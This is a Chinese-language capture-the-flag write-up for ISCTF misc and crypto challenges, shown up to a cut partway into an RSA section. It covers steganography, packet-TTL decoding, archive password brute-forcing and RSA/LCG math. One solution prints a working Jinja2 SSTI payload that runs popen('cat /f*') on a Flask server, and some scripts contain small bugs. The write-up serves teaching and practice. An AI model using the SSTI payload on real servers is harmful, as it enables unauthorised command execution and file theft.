![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MjI2N2U4ZjYyYWQwZDBhN2I2ZWY4Yzc4ODUyOTYwMDZfQzRpTHNaZHNzd3VpOHB3azdCVjlVcENTaXczMktqOENfVG9rZW46Q3NKUmI3MXgwb3h4cFB4Z2dMTWNEeGZ5bjhlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

拿到DESKey直接解des即可。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDJlOTRkNzI4Njg1ZGZmM2JhMmU5NzkwZDAxNDM5N2ZfT3pLMjlvUzVqNDlhcVFCd3pZMzVuM0pxc0dEMklON2ZfVG9rZW46RnlRVmJNY3J3b1dBeWR4YXFiS2NoNTFWbkRkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

### File_Format

出题人：Ten

解题过程：

得到flag文件后，使用十六进制编辑器查看其结构

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NjBhNjliYWM0OWM3MTQzNDQ2NDk2MzhkNzdjMmE2ZmNfZDVscVdzUEhiMGRZSFpNQnp2bmNtNnZCM1dRalV0Z3NfVG9rZW46VEdVZGJxa3ZZbzBGSER4bjNzTWNBNjZPbjRjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

很明显就可以判断出这是一个.exe文件，改一下后缀

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ODc0NjAxNDZiMjMzMzIxN2JiNjJkZjljYzMyYzJhY2FfR2tDMndwT29NMDNBSHBtUEZHekFLdUczcURuU25tc3NfVG9rZW46S21MVmJxZ0t3b2FsOWh4cjJuTWNLZXdJbkZoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里exe的标题其实就已经给出了压缩包的软件名，这个exe文件其实也就是当你的电脑中没有这个压缩包软件时，也可以直接提取文件

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MTM3N2IyYjQyNjM5NTE0MjFmY2Y3ODk4NGUxNTg3M2JfRHo2SGl0ZTRFU1lLYkZDSDJTdzRWZW52OTVuMjl3RTBfVG9rZW46R1IzWWJIalA1b3hONjd4azI3aWNJMkFnbjVlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

但是可以发现如果直接提取是需要密码的，密码也不是常见的弱口令，那就只能进行爆破了。

exe文件肯定是不能直接爆破的，不过现在已经知道这是什么压缩包软件压缩的，可以自行安装一下这个软件，然后随便压缩一个文件，看其文件结构

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NGI0MTkwOGI2OWEwZGQxM2MyNmZhOTU2YzFhMDFiOGVfTndiN3JCNURidTJXNnliMTFLSGNzRE0zakdqbUUwMEFfVG9rZW46VTRBMWJ2TGlMbzRSTXh4dDhrNWM2SWhLbnRkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

然后对照其特征，可以发现在exe文件的末尾，就有压缩包的痕迹

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OGVjOGM3ZjE4MzA3ODFlYzY0OTBhMzViMzJiMGU5ZTZfQk5TcWh3YldFMkRxUGpKUkJyOWNmWW0yak5vQ0xLY2hfVG9rZW46QU9GRWJJUDAwb0F2MHh4Qm0zZGNuQTE2bjY0XzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

至于爆破软件，可以使用hashcat或者ARCHPR，而且ARCHPR软件一打开其实就可以看见，此软件也是可以爆破ace压缩包

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MDNhOTA3NzAyZWNjZTRiYjY0YjQzNmI5OWUwMzk4MTdfTE5Uc1FjZjBQdnc5eVdNVXZ2YXZ3anM1VXIwMEFQMlZfVG9rZW46TTJvMWJCTEJRb0lPWFZ4NU5OQWNQMUtqbnBjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

至于怎么爆破，exe文件直接拖进去，ARCHPR可以直接识别到里面的ace压缩包然后进行爆破

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MzQ0Y2IyZDJiYzdmMTRmMDE3ZGRjZGQ0M2NiODBlMWZfMlRzRzJ3QmFWcGxYYkRFNXpVY1VFMlBJUDl5VXZSOVlfVG9rZW46UDEzc2I3QmFxb21EbmN4S0FGemNPNjhQbldlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

得到密码241023

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MGM4M2JjMzkyOGZhMTdhMzc2NGRhOWNlNDdlMjBjYjFfd3hYR1I2aExxeENuV3hyU0huQUlTUm9ITFFLVkVnU0hfVG9rZW46Q1dLR2JmVXV4bzhVT3Z4SUlDc2NkN2RPbnVoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

ISCTF{WinACE_is_Easy_Subject_0v0}

总得来说这题其实很简单，考点无非就是考你们遇到未知文件的情况下该如何去进行文件结构的判断，包括对压缩包软件的了解

### 神秘ping

出题人：oSthing

解题过程：

拖到010看发现是一个倒转的流量包文件，写个脚本恢复一下

```Python
def reverse_file_bytes(input_file, output_file):
    try:
        with open(input_file, 'rb') as f:
            file_bytes = f.read()
        reversed_bytes = file_bytes[::-1]
        with open(output_file, 'wb') as f:
            f.write(reversed_bytes)
```

恢复出来根据题目的提示，主要看ping的流量

过滤出来icmp协议

发现其中的ttl值分别有63、64、127、191、255组成，根据其他流量分析，发现ttl为64的值是是返回的信息，和隐写没有什么关系，我们用tshark提取ttl隐写值

```Bash
tshark -r ping.pcap -Y "icmp" -T fields -e ip.ttl > ttl.txt
```

剔除掉64，留下来的就是我们需要的ttl值了，我们把这4个数字转成2进制对比一下

```Bash
00111111        63
01111111        127
10111111        191
11111111        155
```

很明显的ttl隐写，写一个脚本提取隐写信息

```Bash
ttl_to_binary = {
    63: '00',
    127: '01',
    191: '10',
    255: '11'
}

ttl_values = [127,63,127,63,127,63,63,127,127,127,63,255,127,63,63,255,127,127,127,63,127,63,127,191,127,255,191,255,63,255,127,191,63,255,63,191,63,255,127,255,63,255,191,63,63,255,127,63,63,255,191,63,127,191,63,255,63,255,63,63,63,191,255,127,63,255,127,255,63,255,127,127,63,255,191,127,127,191,63,255,63,191,255,127,63,255,63,127,63,255,63,127,127,191,127,127,127,191,127,191,63,191,255,127,63,255,191,127,63,255,191,127,63,255,191,127,127,191,127,191,63,191,255,127,63,255,63,63,63,255,63,63,63,255,63,63,127,191,63,255,63,255,63,191,63,255,191,127,63,255,63,63,127,191,63,255,63,255,63,127,63,255,191,127,63,255,127,191,127,191,127,127,127,255,255,127]  # 示例 TTL 列表

def ttl_to_binary_string(ttl_values):
    binary_string = ''
    for ttl in ttl_values:
        if ttl in ttl_to_binary:
            binary_string += ttl_to_binary[ttl]
    return binary_string

def binary_to_string(binary_string):
    chars = []
    for i in range(0, len(binary_string), 8):
        byte = binary_string[i:i+8]
        chars.append(chr(int(byte, 2)))
    return ''.join(chars)

binary_data = ttl_to_binary_string(ttl_values)
print(f"bin: {binary_data}")

decoded_message = binary_to_string(binary_data)
print(f"msg: {decoded_message}")
```

### 神秘的wav

出题人：oSthing

解题过程：

题目给了一个文件上传的页面，既然是misc题就先不考虑文件上传，题目让我们上传一个wav文件，题目同时给了一个wav文件，所以我们用题目的wav传上去看一下

返回一串base64编码

```Bash
L3NvdXJjZQ==
```

解码一下得到

```Bash
/source
```

访问之后得到源码

```Python
from flask import Flask, request, render_template, send_file, render_template_string
import wave
import os

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def ext(inp):
    '''
    希望你能自己搓出脚本
    '''
    with wave.open(inp, 'rb') as wav:
        frames = wav.readframes(wav.getnframes())
    frames_array = bytearray(frames)
    message_bits = [str((frames_array[i] & 2) >> 1) for i in range(len(frames_array))]
    message = ''
    for i in range(0, len(message_bits), 8):
        byte = message_bits[i:i+8]
        char = chr(int(''.join(byte), 2))
        if char == '\x00':
            break
        message += char
    return message

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    '''
    一位misc手在各个方向都要有所了解
    '''
    if request.method == 'POST':
        file = request.files['file']
        if file and file.filename.endswith('.wav'):
            filepath = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
            file.save(filepath)
            message = ext(filepath)
            return render_template_string(message)
        else:
            return render_template_string("pls upload wav")
    return render_template('upload.html')

@app.route('/source', methods=['GET'])
def get_source():
    return send_file('app.py')

if __name__ == '__main__':
    app.run(debug=True)
```

知道了wav的解析方式，同时看到了回显的路由是直接用`render_template_string`打印的，存在ssti，但是没有做任何过滤，随便找一个payload就能打通，那么我们重点就是要手动根据wav解密脚本编写加密脚本了

```Python
def hide_msg(inp, out, msg):
    with wave.open(inp, 'rb') as wav:
        params = wav.getparams()
        frames = wav.readframes(wav.getnframes())
    msg_bin = ''.join(format(ord(char), '08b') for char in msg)
    msg_bin += '00000000'
    frames_array = bytearray(frames)
    for i in range(len(msg_bin)):
        frames_array[i] = (frames_array[i] & 253) | (int(msg_bin[i]) << 1)

    with wave.open(out, 'wb') as out:
        outfile.setparams(params)
        outfile.writeframes(frames_array)
```

任何网上抄一个ssti的payload就能打通获得flag

这里简单给一个

```Python
def hide_msg(inp, out, msg):
    with wave.open(inp, 'rb') as wav:
        params = wav.getparams()
        frames = wav.readframes(wav.getnframes())
    msg_bin = ''.join(format(ord(char), '08b') for char in msg)
    msg_bin += '00000000'
    frames_array = bytearray(frames)
    for i in range(len(msg_bin)):
        frames_array[i] = (frames_array[i] & 253) | (int(msg_bin[i]) << 1)

    with wave.open(out, 'wb') as out:
        outfile.setparams(params)
        outfile.writeframes(frames_array)
hide_msg("inp.wav","out.wav","{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat /f*').read()%}{%endif%}{%endfor%}")
```

### 老八奇怪自拍照

出题人：Qjzhalx

解题过程：

打开题目，发现图片色素有问题，大概率是LSB。

去stegsolve查看

发现RGB差异大

应该是LSB加密，但是

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YTE1YTc4ZmFiMTg3MGRiZDhkMjUyYzUzMDNlYjcxMzNfT3VIMWtvZEpGbGVqZEtTbVlnaXZtSUcxblNOVmU2eXhfVG9rZW46TmEyM2J2elRHb0VMTkl4TDNORmNhcWl2bmFlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这样0 0 0并没有什么有效信息，看题目描述温水对老八说，521

说明是5 2 1，再试一试。

发现是PK

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZTkyMTRjNmRiNTk5MDgwOGVjZTZkZmM5OWIwMjY3NTFfTFd5Sk1keXlQWTdaM3hOUW9QZG0yQkR3eGRLaUhFWlpfVG9rZW46TnQ1dmJlSDJBb3h0V3Z4SzRZQmNLbjBCbmdlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

直接提取出来

压缩包里面是jpg文件，利用exif工具看到详细信息，发现arist里面有

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YTk5M2NmODAzYjZkZDNkMDBhMzdhZGYxOTA0NzdjNmRfeG10Z1hjMWIwenFTTVFKSERlN3hMQXp2ZE00NWMyZHRfVG9rZW46UnpHUGJCd2tvb3NLSkl4SzBsY2NDcFRCbm5lXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

有个东西，应该是个密码1ScTf2024!

题目描述中隐藏的东西都给你，隐藏的东西，隐藏是hide，想到了steghide。用steghide解出来一个txt。

```Python
steghide extract -sf 11.jpg -p 1ScTf2024!
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDlhN2JhOTg3NzM2MTE4NTBjNDI2MjQ2YWEzOGNlYmZfaWFJQnJodE5xZnhoZmxMNkxETGlobFJmaE0xcDZETTNfVG9rZW46SlBiRmJhUmtyb3JTMXh4ZVZCZGM5VzdhbnpoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

txt里面就是flag   

ISCTF{St4gs0lve_Rbg_S4eGh1de_H1de!!!}

### watermark

出题人：tanyu

解题过程：

题目不是很难，基本可以梭

key1为文字水印，并非零宽，搜索在线网站可解

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YWVkYjgwYWVkYjVkNTE1ODIyOWQ3ODIwMTI0NGQ3MjZfa0NVR0JGbUw0WDl6Tms4QURiN3JXNjVoZUl5RWg0ZXRfVG9rZW46UHhrOGJNMm9Cb0pZcmR4cEZhQ2M2dGNnbnNmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

key2为单图片盲水印，PuzzleSolver可一把梭，水印WaterMark也可

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZDlmZDYxZTc2ZTVmMzhkNTllNzljMWRiN2ZkMjcxNWFfOU5XRkVsOHRlQ2haVkg1amgwcEtOY0x0MG9wNktDZHJfVG9rZW46SDVaVmI3dDNRb1pLS2h4RXlobmNKV25WbkdlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

key：FAAqDPjpgKJiB6m64oRvUfta9yJsBv

`Ctrl + F`搜索**ISCTF{**即可

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MmU3MmQ2M2ZkZDJmNDdkNzI2MjBkMjE2ZWFlMzY3ZTBfY0ZseTdtYmpxOUg2WHNiMVdwVjVpNEhONW9kUnd3RFRfVG9rZW46SWNmdmJnTUJmb1hpWGd4ckZPSWNTeWk3bm51XzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

ISCTF{Watermark_is_used_2_protect%digital*assets}

## 二、Crypto

### ChaCha20-Poly1305

出题人：Shlune

解题过程：

如题，ChaCha20-Poly1305加密算法，加密脚本中已经给出关键信息，直接写出解密脚本即可

附件中的key没什么用，用自己输出的key.txt就行

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YzFkZDhjYzBmMDIzMmViZmU4M2Y1N2IzN2JiMDA5NjBfM2Zld2JvUmswdFFHWVdpVWFxNFFFb2s0T2pVdmV5M3lfVG9rZW46SDNKcWJFblc0b2dYdHN4OUcxc2NFdDVYbkVKXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

```Python
from Crypto.Cipher import ChaCha20_Poly1305

# 从加密脚本中获取的值
ct_hex = '20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb'  # 加密后的flag，替换为实际值
tag_hex = '70ffcc508bf4519e7616f602123c307b'  # tag，替换为实际值
nonce_hex = 'd8ebeedec812a6d71240cc50'  # nonce，替换为实际值
key_hex = '173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135'  # 从key.txt文件中读取的密钥，替换为实际值

# 将十六进制字符串转换为字节
ctbytes = bytes.fromhex(ct_hex)
tagbytes = bytes.fromhex(tag_hex)
noncebytes = bytes.fromhex(nonce_hex)
keybytes = bytes.fromhex(key_hex)

# 创建ChaCha20和Poly1305解密器实例
cipher = ChaCha20_Poly1305.new(key=keybytes, nonce=noncebytes)

# 尝试解密数据
try:
    ptbytes = cipher.decrypt_and_verify(ctbytes, tagbytes)
    print(f"Decrypted Flag: {ptbytes.decode('utf-8')}")
except ValueError as e:
    print(f"Decryption failed: {e}")
```

ISCTF{Blueshark_Swims_Through_ChaCha20_Poly1305}

### 蓝鲨的费马

出题人：gggg7

解题过程：

已知leak = (d+pow(p,q,n)+pow(q,p,n))%n，根据题目名称给出的提示，利用费马小定理

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MWYyM2NhYjM4ZWZmZWY3MTZiYWZkZWJkZDBjOWVmNTFfb3E4UVQwaDBZamVnRjAyU3oya210cXZreEVJSldPNnJfVG9rZW46Tm8xd2IwOWc1b1c0aDN4eFlBYWNXOEc5bjNkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

可以得到p^q%n=p,q^p%n=q。所以leak=(d+p+q)%n

再次根据欧拉定理：c^phi%n=1

c^[n+1-(p+q)]%n=1

c^(n+1)%n=c^(p+q)%n

因为m=c^d%n

所以c^[leak-(p+q)]%n=m

c^[leak-(n+1)]%n=m

```Python
from Crypto.Util.number import *
import gmpy2

c= 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997
n= 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247
leak= 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881

e=0x10001

m=pow(c,leak-n-1,n)
print(long_to_bytes(m).decode('utf-8'))
```

ISCTF{u_got_it}

### ezmath

出题人：guoql

解题过程：

修复代码

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MTk5ODUwNzdkNWM2OTZkOTM5Yjk4ZTc4MmNjMDc5N2NfZXJSaXQ4OWRVT0dIZlFlOFpGQ05seDZnQWdLMnVJaHVfVG9rZW46T2xUUmJYMU4yb2o5ekx4a0Y5QmNraTlFbnNlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这两个函数一个是求和，一个是求极限，用到了非常简单的装饰器的用法。

先传入进去参数，然后在传入进去极限的值，也就是start之类的，也就是前n-1个在计算时是常数，最后一个是变量。对这个变量积分或者求极限。这个求极限的pos就是求左极限还是右极限，当然对于默认的无穷来说，左极限显然等于右极限。

```Python
def sumFunc(func):
    def wapper(*args,start = 1,end=INF):
        sums = 0
        for i in trange(start, 0xffff * end):
            sums += function(*args,j/0xf) * (1/0xf)
        return sums
    return wapper

def limitFunc(func):
    def wapper(*args, approch = bigINF, pos = "+"):
        o = 1/bigINF
        return function(args, eval(f"{approch} {pos} {o}"))
    return wapper
```

首先是第一个的错误

1、for循环应该是range而不是trange（请先忘掉tqdm）（line 4）

2、循环变量应该是i而不是j（line 5）

然后是第二个的错误

1、传入进来的是func，而不是function（line 12）

2、args应该解引用（line 12）

修复后的代码

```Python
def sumFunc(func):
    def wapper(*args,start = 1,end=INF):
        sums = 0
        for i in range(start, 0xffff * end):
            sums += func(*args,i/0xf) * (1/0xf)
        return sums
    return wapper

def limitFunc(func):
    def wapper(*args, approch = bigINF, pos = "+"):
        o = 1/bigINF
        return func(*args, eval(f"{approch} {pos} {o}"))
    return wapper
```

其实修不修影响并不大，毕竟如果修了程序直接跑出flag岂不是成签到了）

修只是为了能跑）

接下来其实就是高数）

首先这个magicNumber其实就是自然常数e

而limitFunc的默认是趋向于正无穷的，也就是

$$\lim_{t \to +\infty}(1+\frac{1}{t})^t = e$$

就是个重要极限

第二个可能比较难以看出来，我们先写出来

$$f(x) = \int^{+\infty}_{0}t^{x-1}e^{-t} dt$$

如果你注意力惊人的话，是可以注意到这玩意儿其实就是阶乘函数的解析延拓，什么是解析延拓，简单来说就是将定义域拓宽，本身的阶乘只能是整数，现在我们可以让他取实数了。（注意力不惊人的话，可以去找attention is all you need的，那个注意力比较惊人（人话：GPT））

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MGM2ODU1Mzc1ZWNjY2Q3YzU3ZThhYTA2OWJmODlhZGVfSGFCT29lZlFxb2NtU0ZUQ2xZVWJ5MnhCT0pzMVFOdHJfVG9rZW46T3FrTGJPWkVvb3JSQ0p4YllXaGNYc3I0bk9oXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

因此，这个函数有以下性质

$$f(x+1) = xf(x)$$

$$f(1-x)f(x)=\frac{\pi}{sin\pi x},x \in (0,1)$$

因此，可以让x=0.5

$$f(\frac{1}{2}) = \sqrt{\pi}$$

那我们题中的（这个符号就是大写的gamma（伽马）,用来替代了上面的f罢了）

$$\Gamma(\frac{5}{2}) = \frac{3}{2}\Gamma(\frac{3}{2}) = \frac{3}{4}\Gamma(\frac{1}{2})=\frac{3}{4}\sqrt{\pi}$$

$$\Gamma(\frac{3}{2})=\frac{1}{2}\Gamma(\frac{1}{2}) = \frac{\sqrt{\pi}}{2}$$

然后就是common了

这个其实也很常见，写出来就知道了

$$\int_{0}^{+\infty}e^{-t^2}dt$$

包是高斯积分的。

这个证法真的太多太多了，总之，我们有他的反常积分

$$\int_{-\infty}^{+\infty}e^{t^2}dt = \sqrt{\pi}$$

被积函数是个偶函数，因此有

$$\int_{0}^{+\infty}e^{-t^2}dt = \frac{\sqrt{\pi}}{2}$$

正好是gamma(3/2)的值

验证了我们几个函数的正确性。

那么只要计算gamma(5/2)就行了，前边我们已经计算过他的值了。

```Python
from math import sqrt,pi
from hashlib import md5
import random

key = int(str(3*sqrt(pi)/4)[2:])
print(key)
random.seed(key)
print(md5(str(random.getrandbits(256)).encode('utf-8')).hexdigest())
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OGMzZDM4NTc0NDgyM2IxMDAzMzY2MjAxMDgwNzljOTJfbVRYQzllMVpTWGxXQU0zVlJuRFZ6TXB5dGJsT1BnU3VfVG9rZW46V3FUV2JKZVA1b3lsS2p4cFpYQ2NBS21EbmVnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

### 逃跑的HIM

出题人：guoql

解题过程：

先放出来本章灵感来源，事实上也就是完全照着这个就能复现出来。。。

https://github.com/spawnmason/randar-explanation

简单说一下思路，不用代码审计就了（其实ai审计也能找到答案，乐）

我自己实现了一套java的那堆随机数（包括命名也是java的那一套，Random随机数则是我直接翻java的源代码照抄的，乐）

主要的main里边就是HIM会设置两个在-23440 到23440的随机数，分别为X，Z

我们的目标就是恢复这两个随机数

恢复5次即可。

主要是考察了代码审计，格基规约，线性同余发生器破解相关的内容。（当然硬说来点pwntools也确实有）

本来想套层二维码给X，Z，然后还要读二维码，一方面时间不足，另一方面也没必要硬套了感觉，就没上。

其实大部分文章都有讲，这里就主要是代码审计之后找到漏洞然后恢复就行了。逻辑还是比较明显的，就看会不会破解了（乐

如果复现有问题联系我（建议先仔细读读上边那个文章）

大致就这样。。。

需要给sagemath装上pwntools然后就能跑了

```Python
from pwn import *


sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
rl = lambda : p.recvline()
it = lambda : p.interactive()

ip = ''
port = 0

p = remote(ip , port)
# p = remote("127.0.0.1", 8888)
sla("请输入用户名: ",b"guoql")
sla("=>请选择：",b"start")
for _ in range(5):
        sla("输入yes投币开始:",b"yes")
        sla("请选择：","2")
        sla("请输入想要挖掘的方块坐标(例： (1,1,1) )：",b"(1,1,1)")
        data = rl().decode('utf-8')
        blockX,blockY,blockZ = tuple([float("0." + i.split(".")[1]) for i in data.split("Block drop in ")[1][:-1][1:-1].split(", ")])
        print(data,blockX,blockY,blockZ)
        randX = round(2 * 2**24 * (blockX - 0.25))
        randY = round(2 * 2**24 * (blockY - 0.25))
        randZ = round(2 * 2**24 * (blockZ - 0.25))
        # 获取低24位数据
        print(f"{randX},{randY},{randZ}")
        # 格基规约得到原始seed
        def crack(a0,b0,c0):
            a=25214903917
            b=11
            c=281474976710656
            a1 = a0 * 2**24 + 2**23
            b1 = b0 * 2**24 + 2**23
            c1 = c0 * 2**24 + 2**23
            v = vector([a1,b1 - b,c1 - b - a*b])

            matex = matrix.zero(3)
            matex[0] = [1,a,a*a]
            matex[1] = [0,c,0]
            matex[2] = [0,0,c]
            lattice = matex.LLL()
            base = lattice.transpose().inverse()
            result = base*v

            final = vector([round(RDF(i)) for i in result])

            solved = lattice.transpose() * final
            return solved

        seed = int(crack(randX, randY, randZ)[0])
        # LCG线性同余求解出来上一个seed
        old_seed = ((seed - 11 ) * 246154705703781) % 2**48
        HIM_seed = old_seed ^^ 0x5DEECE66D
        print(old_seed,HIM_seed)
        world_seed = 14617218721232814696
        # input()
        # 寻找x，z需要满足在-23440 到 23400 的范围内
        for x in range(-23440, 23441):
                z = ((HIM_seed - world_seed - 10387319 - x * 341873128712 ) * 211541297333629 ) % 2**48
                if z >= 2**48 + -23440 :
                        z = z - 2**48
                        print(f"x,z found:{x},{z}")
                        break
                if z <= 23440:
                        print(f"x,z found:{x},{z}")
                        break
                

        sla("请选择：", b"1")
        sla("请输入HIM所在区块的坐标(例: (10,-25) )：", f"({x},{z})".encode('utf-8'))
        print(rl().decode('utf-8'))
print(rl().decode('utf-8'))
# it()
```

### 小蓝鲨的数学题

出题人:w1lling

解题过程:

附件里面的内容如下

```Java
Base和Ciphertext
m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193
c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513
```

base是底数,ciphertext是密文,hint提示模数是2**512

根据离散对数就可以求解了

解题的脚本如下

```Python
m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193
c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513

n = 2 ** 512
import sympy
flag=sympy.discrete_log(2**512,c,m)
import binascii
print(binascii.unhexlify(hex(flag)[2:]))
```

结果如下

```Python
ISCTF{5f95ca93-1594-762d-ed0b-a9139692cb4a}
```

### 蓝鲨的RSA

出题人：ooiiiop

解题过程：

```Python
def gethint(h,p):
    decimal.getcontext().prec = 1024
    H = decimal.Decimal(int(h))
    P = decimal.Decimal(int(p))
    leak = decimal.Decimal((8*H*P - 1) / (16*P*P))
    return leak
p = getPrime(512)
q = getPrime(512)
f = getPrime(512)
g = getPrime(128)
h = gmpy2.invert(f, p) * g % p

n = f*q
e = 65537
m = bytes_to_long(flag)
```

读题可知：

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NWViYzg0NmUzOWQ1NDhhMTdiOGJlYjIxYjg4NzAwNjRfMUNXb21Ha3dwbnhVQ1R4RzJPUHNJWUZnalgwQ1ZWNDZfVG9rZW46UjBSdWJCVEJyb1VHbFZ4UWtpU2N1QjBqbnhlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

化简：

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NzQ5OTYzODRlODA5NjlhMWI0NTMwOTQzOTU1YjhhYWNfMFBid1o2MFQ5N0NVNmU2SWRvTjhzaGtUYktGYUNIUlFfVG9rZW46VmQ2Z2J4dEFOb2NNdlh4VGdtbGNiYjV6bkFnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

联系到连分数定理：

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZmY4ZmJjMTc3MDRjOTgwMTM1NGI3NTJiMTQyZmMyNmNfaXdJUnRSNmxFeXdYbGxDQ2o3RGo2NGhNVVQ1OFBIMGZfVG9rZW46UzRUSmJ1UUZmb0hzY2Z4N24wTWNTU29kbkRjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MjAyOTRiMGQ0MTQzODIwNTRiMDJjZDIyNWFkYzI5ZjlfNEQ3WWNxc2I0d1dSc0l6VmFpTEtCeGdJOVJUY09LRGFfVG9rZW46UTFxVmIxMlJCb3BWNXh4YWwwcGMyM3hObnNnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

变形得到：

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZTAxODVjZmNhYWMyMjkzODM4ZTI0ZjEzYWI3NTc3NjVfUXdoYWFTVFh3bUNnZFpaeEVQZ2s1OFlwY2F3MExPZFBfVG9rZW46Q3BDWGI5T2tUb2o3Vjh4NVJaMWNwY2NwblBlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

则可以使用连分数定理求的h，p

接下来是第二部分：

